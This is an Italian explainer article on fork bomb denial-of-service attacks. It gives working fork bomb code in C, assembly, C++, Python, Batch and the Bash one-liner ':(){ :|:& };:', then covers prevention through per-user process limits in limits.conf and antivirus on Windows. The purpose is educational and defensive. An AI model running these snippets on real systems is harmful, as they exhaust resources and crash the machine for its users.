Attacco "Fork Bomb": Cos'è e come prevenire un attacco?

Attacco "Fork Bomb": Cos'è e come prevenire un attacco?

Il primo worm ad essere ricordato, nonché uno tra i primi attacchi di tipo Denial of Service, è la famosa fork bomb, nota negli anni passati anche come wabbit o RABBIT. Cos’è una “fork bomb”? Come si può prevenire?

Il principio di una fork bomb è di eseguire una funzione, in un qualsiasi linguaggio di programmazione o scripting, che si auto-replica all’infinito, esaurendo poi le risorse disponibili della macchina “infettata”, che sia potenza di calcolo o memoria RAM disponibile.

Lo scopo di un worm è, per l’appunto, infettare la macchina con codice malevolo e di auto-replicarsi, all’interno della macchina stessa, su un supporto rimovibile o via rete (per esempio via il protocollo SMB o eMail).

Il tipo di attacco in questione abusa di ciò che è una fork, ossia una funzione nativa di un kernel che permette di aprire una nuova copia del programma che richiama la funzione, utilizzata principalmente per suddividere il lavoro da eseguire in più processi invece che uno solo o, nel caso di un web server, per suddividere l’attenzione del processore per ogni client che si connette al server.

Ciò ha portato, nel 1974 circa, a sviluppare la prima fork bomb a memoria d’uomo, chiamata come detto all’inizio wabbit.

Per sovraccaricare un sistema con una fork bomb, si può ricorrere ad un linguaggio di programmazione, come il C:

#include <sys/types.h>
#include <unistd.h>
int main()
{
    while(1)
    {
        fork();
    }
    return 0;
}

In Assembly IA-32:

section .text
    global _start
_start:
    mov eax,2
    int 0x80
    jmp _start

O ancora, un altro esempio in C++:

include <stdlib.h>
int main()
{
    for(;;)
    {
        system("start");
    }
    return 0;
}

Altre versioni di fork bomb possono essere scritte in diversi linguaggi di scripting, per esempio Python:

import os
while True:
    os.fork()

In Windows Batch:

:fork
start
goto fork

O la più famosa rappresentazione, in linguaggio Linux Shell:

:(){ :|:& };:

Quest’ultima, è la versione “ridotta” di un codice fork bomb, ma può essere interpretata in modo più leggibile in questo modo:

:()			# Dichiara una funzione chiamata ":"
{			# Inizio blocco di codice della funzione ":"
:|:&			# Esegui la funzione ":" e poi esegui la funzione ":" in background
}			# Chiusura blocco di codice della funzione ":"
:			# Esegui la funzione ":"

Come si può intuire, ogni volta che la funzione “:” verrà eseguita, essa invocherà sé stessa altre tre volte, occupando esponenzialmente le risorse di un sistema in breve tempo.

TRIVIA:
In BASH, si possono dichiarare funzioni anche con simboli o caratteri speciali, ad eccezione di pochi casi come “?” o “#”, che sono caratteri di escape per funzioni native.

Come prevenire un attacco Denial of Service di questo tipo?

UNIX

In un sistema UNIX è possibile limitare la quantità di processi eseguiti per singolo utente, modificando il file di sistema localizzato comunemente in /etc/security/limits.conf (se così non fosse, consultate la guida del vostro sistema operativo e cercate il file nella localizzazione corretta) e configurando il numero massimo di processi che l’utente o il gruppo sono autorizzati ad invocare.

Inizialmente si dovrà aprire il file per modificarlo:

$ sudo vim /etc/security/limits.conf

Aggiungendo questa riga alla fine (o modificarla se l’utente risulta già con un limite impostato):

thevirus00    hard    nproc    50

Dove:

  • thevirus00 e il nome utente
  • hard è il tipo di blocco impostato. Può essere “hard” o “soft”. Si imposta il tipo di blocco “hard” se si vuole rendere questo limite invalicabile
  • nproc è l’argomento che sta a significare, intuitivamente, “Number of PROCesses”
  • 50 è il limte impostato, ossia massimo 50 processi per l’utente “thevirus00”. In caso di superamento di tale limite, verrà mostrato un errore nella shell dopo aver tentato di eseguire un 51simo comando.

Windows

In un sistema Windows non ci sono particolari procedure per ottenere lo stesso risultato, ma basta anche solo un buon antivirus, che analizzerà il comportamento di un programma, impedendone la sua esecuzione o, al massimo, funzionando da killswitch, ossia da “arresto di emergenza” per impedire che il programma malevolo venga eseguito.

Anche Microsoft Defender ha le possibilità di bloccare attività di fork bomb e permette il blocco di programmi che si comportano da tali, difendendo così anche un PC che non ha un antivirus di terzi installato.

Mostra i Commenti